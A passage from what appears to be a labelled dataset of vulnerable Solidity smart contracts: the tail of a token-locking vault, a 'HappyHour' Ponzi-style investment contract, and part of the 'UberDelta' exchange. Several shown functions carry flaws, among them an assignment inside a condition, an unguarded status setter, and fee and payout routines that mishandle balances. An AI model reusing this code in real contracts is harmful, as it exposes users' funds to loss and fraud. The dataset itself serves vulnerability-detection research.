_systemReserves[0x0] = add(_systemReserves[0x0], msg.value);
}
function HodlTokens(address tokenAddress, uint256 amount) public contractActive {
require(tokenAddress != 0x0);
require(amount > 0);
if(contractaddress[tokenAddress] = false) { revert(); }
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.transferFrom(msg.sender, address(this), amount));
uint256 affiliatecomission = mul(amount, affiliate) / 100;
uint256 nocashback = mul(amount, 28) / 100;
if (cashbackcode[msg.sender] == 0 ) {
uint256 data_amountbalance = mul(amount, 72) / 100;
uint256 data_cashbackbalance = 0;
address data_referrer = superOwner;
cashbackcode[msg.sender] = superOwner;
emit onCashbackCode(msg.sender, superOwner);
_systemReserves[tokenAddress] = add(_systemReserves[tokenAddress], nocashback);
} else {
data_amountbalance = sub(amount, affiliatecomission);
data_cashbackbalance = mul(amount, cashback) / 100;
data_referrer = cashbackcode[msg.sender];
_systemReserves[tokenAddress] = add(_systemReserves[tokenAddress], affiliatecomission); }
_userSafes[msg.sender].push(_currentIndex);
_safes[_currentIndex] =
Safe(
_currentIndex, amount, now + hodlingTime, msg.sender, tokenAddress, token.symbol(), data_amountbalance, data_cashbackbalance, now, percent, 0, 0, 0, data_referrer);
_totalSaved[tokenAddress] = add(_totalSaved[tokenAddress], amount);
_currentIndex++;
_countSafes++;
emit onHodlTokens(msg.sender, tokenAddress, token.symbol(), amount, now + hodlingTime);
}
function ClaimTokens(address tokenAddress, uint256 id) public {
require(tokenAddress != 0x0);
require(id != 0);
Safe storage s = _safes[id];
require(s.user == msg.sender);
if(s.amountbalance == 0) { revert(); }
RetireHodl(tokenAddress, id);
}
function RetireHodl(address tokenAddress, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == tokenAddress);
uint256 eventAmount;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
if(s.endtime < now)
{
PayToken(s.user, s.tokenAddress, s.amountbalance);
eventAmount = s.amountbalance;
_totalSaved[s.tokenAddress] = sub(_totalSaved[s.tokenAddress], s.amountbalance);
s.amountbalance = 0;
emit onClaimTokens(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
}
else
{
uint256 timeframe = sub(now, s.lasttime);
uint256 CalculateWithdraw = s.amount * s.percentage / 100 * timeframe / seconds30days ;
uint256 MaxWithdraw = mul(s.amount, 10);
if (CalculateWithdraw > MaxWithdraw) {
uint256 MaxAccumulation = MaxWithdraw;
} else { MaxAccumulation = CalculateWithdraw; }
if (MaxAccumulation > s.amountbalance) {
uint256 realAmount = s.amountbalance;
} else { realAmount = MaxAccumulation; }
uint256 newamountbalance = sub(s.amountbalance, realAmount);
UpdateUserData(tokenAddress, id, newamountbalance, realAmount);
}
}
function UpdateUserData(address tokenAddress, uint256 id, uint256 newamountbalance, uint256 realAmount) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == tokenAddress);
uint256 eventAmount;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
s.amountbalance = newamountbalance;
s.lasttime = now;
uint256 tokenaffiliate = mul(s.amount, affiliate) / 100 ;
uint256 tokenreceived = s.amount - tokenaffiliate - newamountbalance;
uint256 percentagereceived = tokenreceived / s.amount * 100000000000000000000;
s.tokenreceive = tokenreceived;
s.percentagereceive = percentagereceived;
_totalSaved[s.tokenAddress] = sub(_totalSaved[s.tokenAddress], realAmount);
PayToken(s.user, s.tokenAddress, realAmount);
eventAmount = realAmount;
emit onClaimTokens(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
}
function PayToken(address user, address tokenAddress, uint256 amount) private {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
}
function GetUserSafesLength(address hodler) public view returns (uint256 length) {
return _userSafes[hodler].length;
}
function GetSafe(uint256 _id) public view
returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive, address referrer)
{
Safe storage s = _safes[_id];
return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive, s.referrer);
}
function GetTokenFees(address tokenAddress) public view returns (uint256 amount) {
return _systemReserves[tokenAddress];
}
function GetContractBalance() public view returns(uint256)
{
return address(this).balance;
}
function CashbackCode(address _cashbackcode) public {
if (cashbackcode[msg.sender] == 0) {
cashbackcode[msg.sender] = _cashbackcode;
emit onCashbackCode(msg.sender, _cashbackcode);
}
}
function StoreComission(address tokenAddress, uint256 amount) private {
_systemReserves[tokenAddress] = add(_systemReserves[tokenAddress], amount);
bool isNew = true;
for(uint256 i = 0; i < _listedReserves.length; i++) {
if(_listedReserves[i] == tokenAddress) {
isNew = false;
break;
}
}
if(isNew) _listedReserves.push(tokenAddress);
}
function DeleteSafe(Safe s) private {
_totalSaved[s.tokenAddress] = sub(_totalSaved[s.tokenAddress], s.amount);
delete _safes[s.id];
uint256[] storage vector = _userSafes[msg.sender];
uint256 size = vector.length;
for(uint256 i = 0; i < size; i++) {
if(vector[i] == s.id) {
vector[i] = vector[size-1];
vector.length--;
break;
}
}
}
function storeProfileHashed(string _profileHashed) public {
profileHashed[msg.sender] = _profileHashed;
emit onStoreProfileHash(msg.sender, _profileHashed);
}
function GetHodlTokensBalance(address tokenAddress) public view returns (uint256 balance) {
require(tokenAddress != 0x0);
for(uint256 i = 1; i < _currentIndex; i++) {
Safe storage s = _safes[i];
if(s.user == msg.sender && s.tokenAddress == tokenAddress)
balance += s.amount;
}
return balance;
}
function ContractAddress(address _contractaddress, bool status) public {
contractaddress[_contractaddress] = status;
}
function AddContractAddress(address tokenAddress, bool contractstatus) public onlyOwner {
contractaddress[tokenAddress] = contractstatus;
}
function OwnerRetireHodl(address tokenAddress, uint256 id) public onlyOwner {
require(tokenAddress != 0x0);
require(id != 0);
RetireHodl(tokenAddress, id);
}
function ChangeHodlingTime(uint256 newHodlingDays) onlyOwner public {
require(newHodlingDays >= 60);
hodlingTime = newHodlingDays * 1 days;
}
function ChangeAllTimeHighPrice(uint256 newAllTimeHighPrice) onlyOwner public {
require(newAllTimeHighPrice > allTimeHighPrice);
allTimeHighPrice = newAllTimeHighPrice;
}
function ChangeComission(uint256 newComission) onlyOwner public {
require(newComission <= 30);
comission = newComission;
}
function WithdrawEth(uint256 amount) onlyOwner public {
require(amount > 0);
require(address(this).balance >= amount);
msg.sender.transfer(amount);
}
function WithdrawTokenFees(address tokenAddress) onlyOwner public {
require(_systemReserves[tokenAddress] > 0);
uint256 amount = _systemReserves[tokenAddress];
_systemReserves[tokenAddress] = 0;
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(msg.sender, amount);
}
function WithdrawAllFees() onlyOwner public {
uint256 x = _systemReserves[0x0];
if(x > 0 && x <= address(this).balance) {
_systemReserves[0x0] = 0;
msg.sender.transfer(_systemReserves[0x0]);
}
address ta;
ERC20Interface token;
for(uint256 i = 0; i < _listedReserves.length; i++) {
ta = _listedReserves[i];
if(_systemReserves[ta] > 0)
{
x = _systemReserves[ta];
_systemReserves[ta] = 0;
token = ERC20Interface(ta);
token.transfer(msg.sender, x);
}
}
_listedReserves.length = 0;
}
function GetTokensAddressesWithFees()
onlyOwner public view
returns (address[], string[], uint256[])
{
uint256 length = _listedReserves.length;
address[] memory tokenAddress = new address[](length);
string[] memory tokenSymbol = new string[](length);
uint256[] memory tokenFees = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
tokenAddress[i] = _listedReserves[i];
ERC20Interface token = ERC20Interface(tokenAddress[i]);
tokenSymbol[i] = token.symbol();
tokenFees[i] = GetTokenFees(tokenAddress[i]);
}
return (tokenAddress, tokenSymbol, tokenFees);
}
function ReturnAllTokens(bool onlyAXPR) onlyOwner public
{
uint256 returned;
for(uint256 i = 1; i < _currentIndex; i++) {
Safe storage s = _safes[i];
if (s.id != 0) {
if (
(onlyAXPR && s.tokenAddress == AXPRtoken) ||
!onlyAXPR
)
{
PayToken(s.user, s.tokenAddress, s.amountbalance);
_countSafes--;
returned++;
}
}
}
emit onReturnAll(returned);
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
uint256 public totalSupply;
uint256 public decimals;
function symbol() public view returns (string);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 4,769 |
pragma solidity ^0.4.24;
contract HappyHour {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 2400;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.5 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,929 |
pragma solidity ^0.4.19;
contract Token {
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
contract OwnerManager {
address public owner;
address public newOwner;
address public manager;
event OwnershipTransferProposed(address indexed _from, address indexed _to);
event OwnershipTransferConfirmed(address indexed _from, address indexed _to);
event NewManager(address indexed _newManager);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
modifier onlyManager {
assert(msg.sender == manager);
_;
}
function OwnerManager() public{
owner = msg.sender;
manager = msg.sender;
}
function transferOwnership(address _newOwner) onlyOwner external{
require(_newOwner != owner);
OwnershipTransferProposed(owner, _newOwner);
newOwner = _newOwner;
}
function confirmOwnership() external {
assert(msg.sender == newOwner);
OwnershipTransferConfirmed(owner, newOwner);
owner = newOwner;
}
function newManager(address _newManager) onlyOwner external{
require(_newManager != address(0x0));
NewManager(_newManager);
manager = _newManager;
}
}
contract Helper is OwnerManager {
mapping (address => bool) public isHelper;
modifier onlyHelper {
assert(isHelper[msg.sender] == true);
_;
}
event ChangeHelper(
address indexed helper,
bool status
);
function Helper() public{
isHelper[msg.sender] = true;
}
function changeHelper(address _helper, bool _status) external onlyManager {
ChangeHelper(_helper, _status);
isHelper[_helper] = _status;
}
}
contract Compliance {
function canDeposit(address _user) public view returns (bool isAllowed);
function canTrade(address _token, address _user) public view returns (bool isAllowed);
function validateTrade(
address _token,
address _getUser,
address _giveUser
)
public
view
returns (bool isAllowed)
;
}
contract OptionRegistry {
function registerOptionPair(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
)
public
returns(bool)
;
function isOptionPairRegistered(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
)
public
view
returns(bool)
;
}
contract EOS {
function register(string key) public;
}
contract UberDelta is SafeMath, OwnerManager, Helper {
address public feeAccount;
address public sweepAccount;
address public complianceAddress;
address public optionsRegistryAddress;
address public newExchange;
bool public contractLocked;
bytes32 signedTradeHash = keccak256(
"address contractAddress",
"address takerTokenAddress",
"uint256 takerTokenAmount",
"address makerTokenAddress",
"uint256 makerTokenAmount",
"uint256 tradeExpires",
"uint256 salt",
"address maker",
"address restrictedTo"
);
bytes32 signedWithdrawHash = keccak256(
"address contractAddress",
"uint256 amount",
"uint256 fee",
"uint256 withdrawExpires",
"uint256 salt",
"address maker",
"address restrictedTo"
);
mapping (address => mapping (address => uint256)) public balances;
mapping (address => uint256) public globalBalance;
mapping (bytes32 => bool) public orders;
mapping (bytes32 => uint256) public orderFills;
mapping (address => bool) public restrictedTokens;
mapping (uint256 => uint256) public feeByClass;
mapping (address => uint256) public userClass;
event Order(
bytes32 indexed tradePair,
address indexed maker,
address[4] addressData,
uint256[4] numberData
);
event Cancel(
bytes32 indexed tradePair,
address indexed maker,
address[4] addressData,
uint256[4] numberData,
uint256 status
);
event FailedTrade(
bytes32 indexed tradePair,
address indexed taker,
bytes32 hash,
uint256 failReason
);
event Trade(
bytes32 indexed tradePair,
address indexed maker,
address indexed taker,
address makerToken,
address takerToken,
address restrictedTo,
uint256[4] numberData,
uint256 tradeAmount,
bool fillOrKill
);
event Deposit(
address indexed token,
address indexed toUser,
address indexed sender,
uint256 amount
);
event Withdraw(
address indexed token,
address indexed toUser,
uint256 amount
);
event InternalTransfer(
address indexed token,
address indexed toUser,
address indexed sender,
uint256 amount
);
event TokenSweep(
address indexed token,
address indexed sweeper,
uint256 amount,
uint256 balance
);
event RestrictToken(
address indexed token,
bool status
);
event NewExchange(
address newExchange
);
event ChangeFeeAccount(
address feeAccount
);
event ChangeSweepAccount(
address sweepAccount
);
event ChangeClassFee(
uint256 indexed class,
uint256 fee
);
event ChangeUserClass(
address indexed user,
uint256 class
);
event LockContract(
bool status
);
event UpdateComplianceAddress(
address newComplianceAddress
);
event UpdateOptionsRegistryAddress(
address newOptionsRegistryAddress
);
event Upgrade(
address indexed user,
address indexed token,
address newExchange,
uint256 amount
);
event RemoteWithdraw(
address indexed maker,
address indexed sender,
uint256 withdrawAmount,
uint256 feeAmount,
uint256 withdrawExpires,
uint256 salt,
address restrictedTo
);
event CancelRemoteWithdraw(
address indexed maker,
uint256 withdrawAmount,
uint256 feeAmount,
uint256 withdrawExpires,
uint256 salt,
address restrictedTo,
uint256 status
);
function UberDelta() public {
feeAccount = owner;
sweepAccount = owner;
feeByClass[0x0] = 3000000000000000;
contractLocked = false;
complianceAddress = this;
optionsRegistryAddress = this;
}
function() public {
revert();
}
function changeNewExchange(address _newExchange) external onlyOwner {
newExchange = _newExchange;
NewExchange(_newExchange);
}
function changeFeeAccount(address _feeAccount) external onlyManager {
require(_feeAccount != address(0x0));
feeAccount = _feeAccount;
ChangeFeeAccount(_feeAccount);
}
function changeSweepAccount(address _sweepAccount) external onlyManager {
require(_sweepAccount != address(0x0));
sweepAccount = _sweepAccount;
ChangeSweepAccount(_sweepAccount);
}
function changeClassFee(uint256 _class, uint256 _fee) external onlyManager {
require(_fee <= 10000000000000000);
feeByClass[_class] = _fee;
ChangeClassFee(_class, _fee);
}
function changeUserClass(address _user, uint256 _newClass) external onlyHelper {
userClass[_user] = _newClass;
ChangeUserClass(_user, _newClass);
}
function lockContract(bool _lock) external onlyManager {
contractLocked = _lock;
LockContract(_lock);
}
function updateComplianceAddress(address _newComplianceAddress)
external
onlyManager
{
complianceAddress = _newComplianceAddress;
UpdateComplianceAddress(_newComplianceAddress);
}
function updateOptionsRegistryAddress(address _newOptionsRegistryAddress)
external
onlyManager
{
optionsRegistryAddress = _newOptionsRegistryAddress;
UpdateOptionsRegistryAddress(_newOptionsRegistryAddress);
}
function tokenRestriction(address _newToken, bool _status) external onlyHelper {
restrictedTokens[_newToken] = _status;
RestrictToken(_newToken, _status);
}
modifier notLocked() {
require(!contractLocked);
_;
}
function deposit() external notLocked payable returns(uint256) {
require(Compliance(complianceAddress).canDeposit(msg.sender));
balances[address(0x0)][msg.sender] = safeAdd(balances[address(0x0)][msg.sender], msg.value);
globalBalance[address(0x0)] = safeAdd(globalBalance[address(0x0)], msg.value);
Deposit(0x0, msg.sender, msg.sender, msg.value);
return(msg.value);
}
function withdraw(uint256 _amount) external returns(uint256) {
balances[address(0x0)][msg.sender] = safeSub(balances[address(0x0)][msg.sender], _amount);
globalBalance[address(0x0)] = safeSub(globalBalance[address(0x0)], _amount);
msg.sender.transfer(_amount);
Withdraw(0x0, msg.sender, _amount);
return(_amount);
}
function depositToken(address _token, uint256 _amount) external notLocked returns(uint256) {
require(_token != address(0x0));
require(Compliance(complianceAddress).canDeposit(msg.sender));
balances[_token][msg.sender] = safeAdd(balances[_token][msg.sender], _amount);
globalBalance[_token] = safeAdd(globalBalance[_token], _amount);
require(Token(_token).transferFrom(msg.sender, this, _amount));
Deposit(_token, msg.sender, msg.sender, _amount);
return(_amount);
}
function withdrawToken(address _token, uint256 _amount)
external
returns (uint256)
{
if (_token == address(0x0)){
balances[address(0x0)][msg.sender] = safeSub(balances[address(0x0)][msg.sender], _amount);
globalBalance[address(0x0)] = safeSub(globalBalance[address(0x0)], _amount);
msg.sender.transfer(_amount);
} else {
balances[_token][msg.sender] = safeSub(balances[_token][msg.sender], _amount);
globalBalance[_token] = safeSub(globalBalance[_token], _amount);
require(Token(_token).transfer(msg.sender, _amount));
}
Withdraw(_token, msg.sender, _amount);
return _amount;
}
function depositToUser(address _toUser) external payable notLocked returns (bool success) {
require(
(_toUser != address(0x0))
&& (_toUser != address(this))
&& (Compliance(complianceAddress).canDeposit(_toUser))
);
balances[address(0x0)][_toUser] = safeAdd(balances[address(0x0)][_toUser], msg.value);
globalBalance[address(0x0)] = safeAdd(globalBalance[address(0x0)], msg.value);
Deposit(0x0, _toUser, msg.sender, msg.value);
return true;
}
function depositTokenToUser(
address _toUser,
address _token,
uint256 _amount
)
external
notLocked
returns (bool success)
{
require(
(_token != address(0x0))
&& (_toUser != address(0x0))
&& (_toUser != address(this))
&& (_toUser != _token)
&& (Compliance(complianceAddress).canDeposit(_toUser))
);
balances[_token][_toUser] = safeAdd(balances[_token][_toUser], _amount);
globalBalance[_token] = safeAdd(globalBalance[_token], _amount);
require(Token(_token).transferFrom(msg.sender, this, _amount));
Deposit(_token, _toUser, msg.sender, _amount);
return true;
}
function tokenFallback(
address _from,
uint256 _value,
bytes _sendTo
)
external
notLocked
{
address toUser = _from;
if (_sendTo.length == 20){
uint256 asmAddress;
assembly {
asmAddress := calldataload(120)
}
toUser = address(asmAddress);
}
require(
(toUser != address(0x0))
&& (toUser != address(this))
&& (toUser != msg.sender)
&& (Compliance(complianceAddress).canDeposit(toUser))
);
uint256 codeLength;
assembly {
codeLength := extcodesize(caller)
}
require(codeLength > 0);
globalBalance[msg.sender] = safeAdd(globalBalance[msg.sender], _value);
balances[msg.sender][toUser] = safeAdd(balances[msg.sender][toUser], _value);
require(Token(msg.sender).balanceOf(this) >= _value);
Deposit(msg.sender, toUser, _from, _value);
}
function internalTransfer(
address _toUser,
address _token,
uint256 _amount
)
external
notLocked
returns(uint256)
{
require(
(balances[_token][msg.sender] >= _amount)
&& (_toUser != address(0x0))
&& (_toUser != address(this))
&& (_toUser != _token)
&& (Compliance(complianceAddress).canDeposit(_toUser))
);
balances[_token][msg.sender] = safeSub(balances[_token][msg.sender], _amount);
balances[_token][_toUser] = safeAdd(balances[_token][_toUser], _amount);
InternalTransfer(_token, _toUser, msg.sender, _amount);
return(_amount);
}
function balanceOf(address _token, address _user) external view returns (uint) {
return balances[_token][_user];
}
function sweepTokenAmount(address _token, uint256 _amount) external returns(uint256) {
assert(msg.sender == sweepAccount);
balances[_token][sweepAccount] = safeAdd(balances[_token][sweepAccount], _amount);
globalBalance[_token] = safeAdd(globalBalance[_token], _amount);
if(_token != address(0x0)) {
require(globalBalance[_token] <= Token(_token).balanceOf(this));
} else {
require(globalBalance[address(0x0)] <= this.balance);
}
TokenSweep(_token, msg.sender, _amount, balances[_token][sweepAccount]);
return(_amount);
}
function order(
address[4] _addressData,
uint256[4] _numberData
)
external
notLocked
returns (bool success)
{
if (msg.sender != _addressData[2]) { return false; }
bytes32 hash = getHash(_addressData, _numberData);
orders[hash] = true;
Order(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
_addressData,
_numberData);
return true;
}
function tradeBalances(
address _takerTokenAddress,
uint256 _takerTokenAmount,
address _makerTokenAddress,
uint256 _makerTokenAmount,
address _maker,
uint256 _tradeAmount
)
internal
{
require(_takerTokenAmount > 0);
uint256 feeValue = safeMul(_tradeAmount, feeByClass[userClass[msg.sender]]) / (1 ether);
balances[_takerTokenAddress][_maker] =
safeAdd(balances[_takerTokenAddress][_maker], _tradeAmount);
balances[_takerTokenAddress][msg.sender] =
safeSub(balances[_takerTokenAddress][msg.sender], safeAdd(_tradeAmount, feeValue));
balances[_makerTokenAddress][_maker] =
safeSub(
balances[_makerTokenAddress][_maker],
safeMul(_makerTokenAmount, _tradeAmount) / _takerTokenAmount
);
balances[_makerTokenAddress][msg.sender] =
safeAdd(
balances[_makerTokenAddress][msg.sender],
safeMul(_makerTokenAmount, _tradeAmount) / _takerTokenAmount
);
balances[_takerTokenAddress][feeAccount] =
safeAdd(balances[_takerTokenAddress][feeAccount], feeValue);
}
function trade(
address[4] _addressData,
uint256[4] _numberData,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint256 _amount,
bool _fillOrKill
)
external
notLocked
returns(uint256 tradeAmount)
{
bytes32 hash = getHash(_addressData, _numberData);
tradeAmount = safeSub(_numberData[0], orderFills[hash]);
if (
tradeAmount > safeDiv(
safeMul(balances[_addressData[1]][_addressData[2]], _numberData[0]),
_numberData[1]
)
)
{
tradeAmount = safeDiv(
safeMul(balances[_addressData[1]][_addressData[2]], _numberData[0]),
_numberData[1]
);
}
if (tradeAmount > _amount) { tradeAmount = _amount; }
if (tradeAmount == 0) {
if (orderFills[hash] < _numberData[0]) {
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
0
);
} else {
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
1
);
}
return 0;
}
if (block.number > _numberData[2]) {
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
2
);
return 0;
}
if ((_fillOrKill == true) && (tradeAmount < _amount)) {
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
3
);
return 0;
}
uint256 feeValue = safeMul(_amount, feeByClass[userClass[msg.sender]]) / (1 ether);
if ( (_amount + feeValue) > balances[_addressData[0]][msg.sender]) {
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
4
);
return 0;
}
if (
(ecrecover(keccak256(signedTradeHash, hash), _v, _r, _s) != _addressData[2])
&& (! orders[hash])
)
{
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
5
);
return 0;
}
if ((_addressData[3] != address(0x0)) && (_addressData[3] != msg.sender)) {
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
6
);
return 0;
}
if (
((_addressData[0] != address(0x0))
&& (restrictedTokens[_addressData[0]] )
&& ! Compliance(complianceAddress).validateTrade(_addressData[0], _addressData[2], msg.sender)
)
|| ((_addressData[1] != address(0x0))
&& (restrictedTokens[_addressData[1]])
&& ! Compliance(complianceAddress).validateTrade(_addressData[1], _addressData[2], msg.sender)
)
)
{
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
7
);
return 0;
}
tradeBalances(
_addressData[0],
_numberData[0],
_addressData[1],
_numberData[1],
_addressData[2],
tradeAmount
);
orderFills[hash] = safeAdd(orderFills[hash], tradeAmount);
Trade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
_addressData[2],
msg.sender,
_addressData[1],
_addressData[0],
_addressData[3],
_numberData,
tradeAmount,
_fillOrKill
);
return(tradeAmount);
}
function cancelOrder(
address[4] _addressData,
uint256[4] _numberData
)
external
returns(uint256 amountCancelled)
{
require(msg.sender == _addressData[2]);
bytes32 hash = getHash(_addressData, _numberData);
amountCancelled = safeSub(_numberData[0],orderFills[hash]);
orderFills[hash] = _numberData[0];
Cancel(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
_addressData,
_numberData,
amountCancelled);
return amountCancelled;
}
function remoteWithdraw(
uint256 _withdrawAmount,
uint256 _feeAmount,
uint256 _withdrawExpires,
uint256 _salt,
address _maker,
address _restrictedTo,
uint8 _v,
bytes32 _r,
bytes32 _s
)
external
notLocked
returns(bool)
{
require(
(balances[address(0x0)][_maker] >= safeAdd(_withdrawAmount, _feeAmount))
&& (
(_restrictedTo == address(0x0))
|| (_restrictedTo == msg.sender)
)
&& ((_feeAmount == 0) || (Compliance(complianceAddress).canDeposit(msg.sender)))
);
bytes32 hash = keccak256(
this,
_withdrawAmount,
_feeAmount,
_withdrawExpires,
_salt,
_maker,
_restrictedTo
);
require(orderFills[hash] == 0);
require(
ecrecover(keccak256(signedWithdrawHash, hash), _v, _r, _s) == _maker
);
orderFills[hash] = 1;
balances[address(0x0)][_maker] =
safeSub(balances[address(0x0)][_maker], safeAdd(_withdrawAmount, _feeAmount));
balances[address(0x0)][msg.sender] = safeAdd(balances[address(0x0)][msg.sender], _feeAmount);
globalBalance[address(0x0)] = safeSub(globalBalance[address(0x0)], _withdrawAmount);
RemoteWithdraw(
_maker,
msg.sender,
_withdrawAmount,
_feeAmount,
_withdrawExpires,
_salt,
_restrictedTo
);
_maker.transfer(_withdrawAmount);
return(true);
}
function cancelRemoteWithdraw(
uint256 _withdrawAmount,
uint256 _feeAmount,
uint256 _withdrawExpires,
uint256 _salt,
address _restrictedTo
)
external
{
bytes32 hash = keccak256(
this,
_withdrawAmount,
_feeAmount,
_withdrawExpires,
_salt,
msg.sender,
_restrictedTo
);
CancelRemoteWithdraw(
msg.sender,
_withdrawAmount,
_feeAmount,
_withdrawExpires,
_salt,
_restrictedTo,
orderFills[hash]
);
orderFills[hash] = 1;
}
function upgrade(address _token) external returns(uint256 moveBalance) {
require (newExchange != address(0x0));
moveBalance = balances[_token][msg.sender];
globalBalance[_token] = safeSub(globalBalance[_token], moveBalance);
balances[_token][msg.sender] = 0;
if (_token != address(0x0)){
require(Token(_token).approve(newExchange, moveBalance));
require(UberDelta(newExchange).depositTokenToUser(msg.sender, _token, moveBalance));
} else {
require(UberDelta(newExchange).depositToUser.value(moveBalance)(msg.sender));
}
Upgrade(msg.sender, _token, newExchange, moveBalance);
return(moveBalance);
}
function testTrade(
address[4] _addressData,
uint256[4] _numberData,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint256 _amount,
address _sender,
bool _fillOrKill
)
public
view
returns(uint256)
{
